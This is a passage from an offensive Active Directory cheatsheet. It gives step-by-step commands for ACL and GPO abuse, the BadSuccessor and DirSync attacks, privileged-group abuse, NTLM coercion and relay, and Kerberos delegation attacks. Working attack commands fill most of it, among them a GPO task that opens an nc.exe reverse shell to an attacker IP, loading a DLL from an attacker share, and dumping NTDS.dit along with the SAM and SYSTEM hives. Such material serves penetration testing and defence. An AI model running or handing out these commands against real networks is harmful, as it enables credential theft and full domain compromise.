Set-DomainObject -Identity RODC-Server$ -Clear 'msDS-NeverRevealGroup'
```

#### On a group

##### WriteProperty/AllExtendedRights/GenericWrite Self
With one of this rights we can add a new member to the group

```powershell
net group <target_group> user1 /add
# With PowerView
Add-DomainGroupMember -Identity '<target_group>' -Members 'user1'
```

#### On a GPO

##### WriteProperty on a GPO
We can create an "evil" GPO with a scheduled task for example

```powershell
#With PowerView
New-GPOImmediateTask -Verbose -Force -TaskName 'Update' -GPODisplayName 'weakGPO' -Command cmd -CommandArguments "/c net localgroup administrators user1 /add"

#With SharpGPOAbuse
./SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author Administrator --Command "cmd.exe" --Arguments "/c /tmp/nc.exe attacker_ip 4545 -e powershell" --GPOName "weakGPO" 
```

##### CreateChild on Policies Cn + WriteProperty on an OU
It is possible to create a fully new GPO and link it to an existing OU

```powershell
#With RSAT module
New-GPO -Name "New GPO" | New-GPLink -Target "OU=Workstation,DC=domain,DC=local"
Set-GPPrefRegistryValue -Name "New GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /C \\path\to\payload" -Type ExpandString
```

After GPO refresh on the OU's machines, when the machines will restart the payload will be executed

##### Manage Group Policy Links

This section is presented in the Active Directory - Python edition cheatsheet.

#### On an OU

##### GenericWrite

With at least **GenericWrite** on an OU, it it possible to perform the same attacks presented in the GPO section with **Manage Group Policy Links**.

##### Create msDS-DelegatedManagedServiceAccount or Create all child objects

This is the BadSuccessor attack, presented in great details [here](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory). At least one Domain Controller must be a Windows Server 2025 to perform this attack (this permits to work with dMSA accounts).

```powershell
# With BadSuccessor.ps1
BadSuccessor -mode check -Domain domain.local 
BadSuccessor -mode exploit -Path <OU_DN> -Name "dMSA_name" -DelegatedAdmin "user1" -DelegateTarget "Administrator" -domain "domain.local"

# With SharpSuccessor
.\SharpSuccessor.exe add /impersonate:Administrator /path:<OU_DN> /account:user1 /name:"dMSA_name"

# Obtain a TGT
    # Request a TGT as the current user context, in this case user1
.\Rubeus.exe tgtdeleg /nowrap
    # Then use that TGT to impersonate the dMSA account
.\Rubeus.exe asktgs /targetuser:dMSA_name$ /service:krbtgt/domain.local /opsec /dmsa /nowrap /ptt /ticket:<TGT> /outfile:ticket.kirbi

# Then either request a ST for a desired service as our targeted user (Administrator in that case)
.\Rubeus.exe asktgs /user:dMSA_name$ /service:cifs/DC.domain.local /opsec /dmsa /nowrap /ptt /ticket:<TGT>
```

#### On the domain/forest

##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
We can **DCSync**

##### DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set
It is possible to realize a **DirSync** attack, as presented [here](https://simondotsh.com/infosec/2022/07/11/dirsync.html).

```powershell
Import-Module ./DirSync.psm1

#Sync all the LAPS passwords in the domain
Sync-LAPS

#Sync a specific LAPS password
Sync-LAPS -LDAPFilter '(samaccountname=<computer$>)'

#Sync confidential attributs
Sync-Attributes -LDAPFilter '(samaccountname=user1)' -Attributes unixUserPassword,description
```

### Account Operators

The members of this group can add and modify all the non admin users and groups. Since **LAPS ADM** and **LAPS READ** are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the **Server Operators** group members which can authenticate on the DC.

Another possibility, is to configure an AORTA attack, presented in [this section](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-account-operators-re).

#### Add user to LAPS groups

```powershell
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
```

#### Read LAPS password

```powershell
Get-DomainComputer <computername> -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
```

### DnsAdmins

* It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
* In case the DC also serves as DNS, this will provide us escalation to DA.
* Need privileges to restart the DNS service.

#### Configure the DLL

Needs RSAT DNS

```bash
#With dnscmd.exe
dnscmd <target> /config /serverlevelplugindll \\<attacker_IP>\dll\mimilib.dll

#With DNSServer module
$dnsettings = Get-DnsServerSetting -ComputerName <target> -Verbose -All
$dnsettings.ServerLevelPluginDll = "\\<attacker_IP>\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName <target> -Verbose
```

#### Restart DNS

```batch
sc \\<target> stop dns
sc \\<target> start dns
```

### Schema Admins

These group members can change the "_schema_" of the AD. It means they can change the ACLs on the objects that will be created **IN THE FUTUR**. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

#### Change ACLs on the groups

Give full rights to a user on the groups

```powershell
$creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Set-ADObject -Identity "CN=group,CN=Schema,CN=Configuration,DC=domain,DC=local" -Replace @{defaultSecurityDescriptor = 'D:(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;DA)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;SY)(A;;RPLCLORC;;;AU)(A;;RPWPCRCCDCLCLORCWOWDSDDTSW;;;S-1-5-21-854239470-2015502385-3018109401-52104)';} -Verbose -server dc.domain.local -Credential $creds
```

When a new group is created we can add any user to it with the user who has full rights

```powershell
$User = Get-ADUser -Identity "CN=user1,CN=Users,DC=domain,DC=local"; $Group = Get-ADGroup -Identity "CN=new_admingroup,CN=Users,DC=domain,DC=local"; $creds = New-Object System.Management.Automation.PSCredential ("domain.local\user1", (ConvertTo-SecureString "Password" -AsPlainText -Force)); Add-ADGroupMember -Identity $Group -Members $User -Server dc.domain.local -Credential $creds
```

### Backup Operators

Can _generally_ log in on any machines of the domain.

#### File system backup

Can backup the **entire file system** of a machine (DC included) and have full read/write rights on the backup

To backup a folder :

```batch
robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E
```

To backup with **Diskshadow + Robocopy**:

* Create a `script.txt` file to backup with Diskshadow

```
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
```

* Backup with `diskshadow /s script.txt`
* Retrieve the backup with **robocopy** and send the NTDS file in the current folder : `robocopy /b E:\Windows\ntds . ntds.dit`
* Then retrieve the SYSTEM registry hive to decrypt and profit `reg save hklm\system c:\temp\system`

To backup with **Diskshadow + DLLs**:

* Similar script for Diskshadow

```
set context persistent nowritersx
set metadata c:\windows\system32\spool\drivers\color\example.cabx
add volume c: alias someAliasx
createx
expose %someAlias% z:x
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditx
delete shadows volume %someAlias%x
resetx
```

* With [these](https://github.com/giuliano108/SeBackupPrivilege) DLLs

```powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\temp\ntds.dit -Overwrite
reg save HKLM\SYSTEM c:\temp\system.hive
```

#### Registry read rights

The **Backup Operators** can read all the machines registry

```bash
python3 reg.py 'domain.local'/'user1':'Password123'@<target>.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'user1':'Password123'@server.domain.local backup -o \\<attacker_IP>\share
```

#### GPOs read/write rights

Normally the **Backup Operators** can read and rights all the domain and DC GPOs with **robocopy** in **backup** mode

* Found the interesting GPO with `Get-NetGPO` . For example **Default Domain Policy** in the Domain Controller policy
* Get the file at the path `\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf` and add whatever you want in it
* Write the file with **robocopy**:

```powershell
robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB
```

### Key Admins

Members of this group can perform [Shadow Credentials](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-on-a-computer) attacks against any objects, including the domain controllers.

### AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.&#x20;

#### Enumerate deleted objects

To find all the deleted objects and their properties:

```powershell
Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
```

To focus on one object:

```powershell
Get-ADObject -filter { SAMAccountName -eq "user1" } -includeDeletedObjects -property *
```

To find the last deleted object:

```powershell
Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" - IncludeDeletedObjects
```

#### Restore an object

```powershell
Get-ADObject -Filter {displayName -eq "user1"} IncludeDeletedObjects | Restore-ADObject
```

## Authentication capture, coerce and relay

### Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

#### Responder / Inveigh

Change the authentication challenge to `1122334455667788` in the Responder conf file in order to obtain an easily crackable hash if **NTLMv1** is used.

```bash
sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf
```

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

```bash
# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

# Inveigh with *
Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
```

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

```bash
# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess
```

**NTLMv1** response can be cracked on [crash.sh](https://crack.sh/) (we miss you guy).

#### Leak Files

With write rights on a SMB share, it is possible to drop a `.scf` file with the following content to grab some user hashes:

```
[Shell]
Command=2
IconFile=\<attacker_IP>\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
```

#### MITM6

(Python tool) Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos  Relay attacks. Here for an NTLM relay:

```bash
mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v
```

Here for a Kerberos relay to ADCS:

```bash
mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v
```

#### PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. **PetitPotam** can be used without any credentials if no patch has been installed.

```powershell
#PetitPotam
./PetitPotam.exe attacker_IP target_IP

#PrinterBug
./SpoolSample.exe target_IP attacker_IP

#ShadowCoerce
python3.exe shadowcoerce.py -d domain.local -u user1 -p password attacker_IP target_IP

#DFSCoerce
python3.exe dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./MS-EVEN.exe <listener_IP> <target_IP>
```

#### MSSQL Coerce

* **MSSQL Analysis Services**: everything is explained [here](https://github.com/p0dalirius/MSSQL-Analysis-Coerce/blob/main/README.md).
* MSSQL Server : with [xp\_dirtree](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-rbcd-from-mssql-serv).

#### PrivExchange

Coerce Exchange server authentication via **PushSubscription** (now patched):

```bash
python3.exe privexchange.py -ah attacker_IP <Exchange_server> -u user1 -p password -d domain.local
```

#### WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

```bash
GetWebDAVStatus.exe 'machine_ip'

#For multiple machines
webclientservicescanner domain.local/user1:password@10.10.10.0/24
```

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid **NETBIOS name** and not its IP. The **NETBIOS name** can be obtained with Responder in Analyze mode, or by adding a DNS record in the ADIDNS (Python tool).

```powershell
#Responder technique
responder -I interface_to_use -A

#ADIDNS technique
New-ADIDNSNode -Tombstone -Verbose -Node "attacker.domain.local" -Data $IP

#Coerce with PetitPotam for example
./PetitPotam.exe "attacker_NETBIOS@80/test.txt" <target_IP>
```

Otherwise, it's possible to force an HTTP authentication with a LLMNR poisoning [by changing the error code returned](https://www.synacktiv.com/publications/taking-the-relaying-capabilities-of-multicast-poisoning-to-the-next-level-tricking).

```bash
#With Responder + smbserver 
  #Start smbserver in a first terminal with authentication required
python3 smbserver.py $NAME . -smb2support -username notexist -password notexist
  #Start Responder in a second terminal
responder --interface interface_to_use

#Or only with Responder
responder --interface interface_to_use -E
```

### NTLM and Kerberos relay

#### SMB without signing

Create a list of computer without SMB signing:

```bash
nxc smb 10.10.10.0/24 --gen-relay-list list.txt
```

#### ntlmrelayx

If only SMBv2 is supported, `-smb2support` can be used. To attempt the remove the MIC if **NTLMv2** is vulnerable to **CVE-2019-1040**, `--remove-mic` can be used.

Multiple targets can be specified with `-tf list.txt`.

* Enumeration

```bash
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
```

* SOCKS

```bash
ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
ntlmrelayx.py -t ldaps://target -socks
```

* Creds dump

```bash
ntlmrelayx.py smb://target
```

* DCSync if the target in vulnerable to Zerologon

```bash
ntlmrelayx.py dcsync://dc
```

* Privesc

Add an user to **Enterprise Admins**.

```bash
ntlmrelayx.py ldap://dc --escalate-user user1 --no-dump
```

* Kerberos Delegation

Kerberos RBCD are detailled in the following section.

```bash
#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl
```

* Shadow Credentials

```bash
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
```

* From a mitm6 authent

```bash
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks
```

* Targeting GPO

This attack is presented in the Active Directory - Python edition cheatsheet.

* Relay to WinRMs

If **NTLMv1 is enabled** on the source server and accepted by the target, and the target server exposes the WinRMs service (over HTTPS), without forcing CBT. Use this [PR](https://github.com/fortra/impacket/pull/1947).

```bash
#Perform the relay
ntlmrelayx -t winrms://target.domain.local -smb2support

#Use the opened WinRMs shell
nc 127.0.0.1 11000
```

* [CVE-2025-33073](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-ad-oriented) - NTLM Reflective relay
* [ADCS ESC8 & 11](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-relay-attacks---esc8)
* [SCCM primary site takeover](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-sccm-%2F-mecm)

#### krbrelayx

All the attacks related to Kerberos relay are presented in the Active Directory - Python edition cheatsheet.

#### krbjack

A tool ([https://github.com/almandin/krbjack](https://github.com/almandin/krbjack)) to perform DNS updates thanks to the `ZONE_UPDATE_UNSECURE` flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the `AP_REQ` packets on the fly to reuse them.

This attack is presented in the Active Directory - Python edition cheatsheet.

## Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

* **Unconstrained Delegation**: the first hop server can request access to any service on any computer
* **Constrained Delegation**: the first hop server has a list of service it can request

### Unconstrained delegation

#### Compromised machine in Unconstrained Delegation

* Enumerate computers with Unconstrained Delegation

```powershell
Get-NetComputer -UnConstrained

#With AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```

* Get admin ticket

After compromising the computer with UD enabled, we can trick or wait for an admin connection

```powershell
#Check if a ticket is available
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#If yes
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```

* Reuse the ticket

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
```

#### Printer bug / PetitPotam

To force another computer to connect to the compromised machine in UD, and capture the TGT by monitoring:

```powershell
.\Rubeus.exe monitor /interval:5 /nowrap
```

On the attacker machine run :

```powershell
#PrinterBug
.\MS-RPRN.exe \\<target>.domain.local \\unconstrainedMachine.domain.local

#PetitPotam
.\PetitPotam.exe attacker_ip <target>.domain.local
```

```powershell
.\Rubeus.exe ptt /ticket:...

#DCSync with the dc TGT
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' 
```

#### Any principal in Unconstrained Delegation

If we have enough rights against a principal (computer or user) in UD to add a **SPN** on it and **know its password**, we can try to use it to retrieve a machine account password from an authentication coercion.

* Add a new DNS record on the domain that point to our IP
* Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool `krbrelayx.py` to extract the TGT from the ST)
* Trigger the authentication and grab the ST (and TGT in it) on **krbrelayx** that is listenning for it

Since the principal is in **Unconstrained Delegation**, when the machine account will send the **ST** to the SPN it will automatically add a **TGT** in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

```powershell
#Add the SPN with the Microsoft module
Set-ADUser -Identity <principal_in_UD> -ServicePrincipalName @{Add='HOST/test.domain.local'}

#Create the DNS record
Invoke-DNSUpdate -DNSType A -DNSName test.domain.local -DNSData <attacker_IP> -Realm domain.local

#Run krbrelayx with the hash of the password setup on the UD user
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
.\PetitPotam.exe <attacker_ip> <target_IP>
```

### Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

* Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION** – T2A4D UserAccountControl attribute.
* Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a ST to a second service on behalf of a user.

#### Enumerate principals with CD enabled

```powershell
#Powerview
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

#### With protocol transition

Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell.

* Request a ticket for multiple services on the target, for another user (S4U)

```powershell
.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt
```

If we have a session as the user, we can just run `.\Rubeus.exe tgtdeleg /nowrap` to get the TGT in Base64, then run:

```powershell
.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator /domain:domain.local /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt
```

* Inject the ticket

```powershell
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
```

#### Without protocol transition

In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

### Resource-based constrained delegation

[Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

#### Requirements

* The DC has to be at least a **Windows Server 2012**
* Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0

```powershell
#To verify
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local
```

* Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**)
* Target computer, object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set

```powershell
Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
```

#### Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB.

```powershell
#Add RBCD from ServiceA to ServiceB
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$

#Verify property
Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Get ServiceA TGT and then S4U
rubeus -x tgtdeleg /nowrap
rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt
```

#### With machine account creation

* Add a fake machine account in the domain
* Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine

```powershell
Import-Module Powermad.ps1
Import-Module PowerView.ps1

#Creds if needed, to run as another user
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword)

#Check requirements
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred
Get-NetComputer <target> -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController DC.domain.local
Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid

#Create the new raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Add the new raw SD to msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer <target> -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase "LDAP://DC=domain,DC=local" -Verbose -Credential $Cred

#Check if well added
$RawBytes = Get-DomainComputer <target> -Properties 'msds-allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase "LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
```

* Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**)
* Use the **S4UProxy** function to obtain a ST for the impersonated user for the wanted service on the target machine

```powershell
#Calcul hash
.\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local
#S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/<target> /domain:domain.local /ptt /dc:DC.domain.local
```

#### Skip S4USelf

* Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B
* By social engineering or any other solution, an interesting victim authenticates to Service A with a ST
* Attacker dumps the ST on Service A (`sekurlsa::tickets`)
* Attacker configures RBCD from Service A to Service B as above
* Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence

```powershell
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /tgs:"/path/to/kirbi" /msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local
```

#### Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user.

```powershell
Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /impersonateuser:Administrator /msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local
```

#### Impersonate protected user via S4USelf request

It is possible to impersonate a **protected** **user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

```powershell
.\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw=  /domain:domain.local /altservice:cifs/server.domain.local /ptt
```

#### Bypass Constrained Delegation restrictions with RBCD

* Attacker compromises **ServiceA** and **ServiceB**
* ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf)
* Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB
* Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC`
* Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to `cifs/ServiceC`

```powershell
#RBCD from A to B
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<serviceA_key> /impersonateuser:Administrator /msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local

#S4UProxy from B to C with the obtained ST as evidence
.\Rubeus.exe s4u /user:ServiceB$ /aes256:<serviceB_key> /tgs:<obtained_TGS> /msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local /dc:DC.domain.local /ptt
```

#### U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present [here](https://twitter.com/snovvcrash/status/1595814518558543874). You can follow the example in this [PR](https://github.com/GhostPack/Rubeus/pull/137).

* Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...)
* Obtain a TGT for the user via pass-the-hash:

```powershell
.\Rubeus.exe asktgt /user:user1 /rc4:<NT_hash> /nowrap
```

* Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified in `/tgs:` (additional ticket added to the request body identifying the target user account) and `/ticket:` (authentication). If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. The account to impersonate via the futur S4U request is also present:

```powershell
.\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap
```

* Retrieve the TGT session key in HEX format:

```python
import binascii, base64
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())
```

* Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy is encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained [here](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html).

```bash
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC'
```

* Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with the session key) as additional ticket and the original TGT as ticket:

```powershell
.\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi
```

* Finally, use this ticket to do whatever you want

#### RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`):

* Create a DNS record in order to be able to leak the NTLM hash externally
* Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash
* Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine
* Now we can ask a ST for a user we want to impersonate for a service on the machine

```powershell
#Add the DNS
Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData <attacker_IP> -Realm domain.local

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a ST with full S4U
.\Rubeus.exe s4u /user:<controlled_account> /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/<target> /domain:domain.local /dc:DC.domain.local /ptt
```

## Domain Persistence

### Diamond ticket

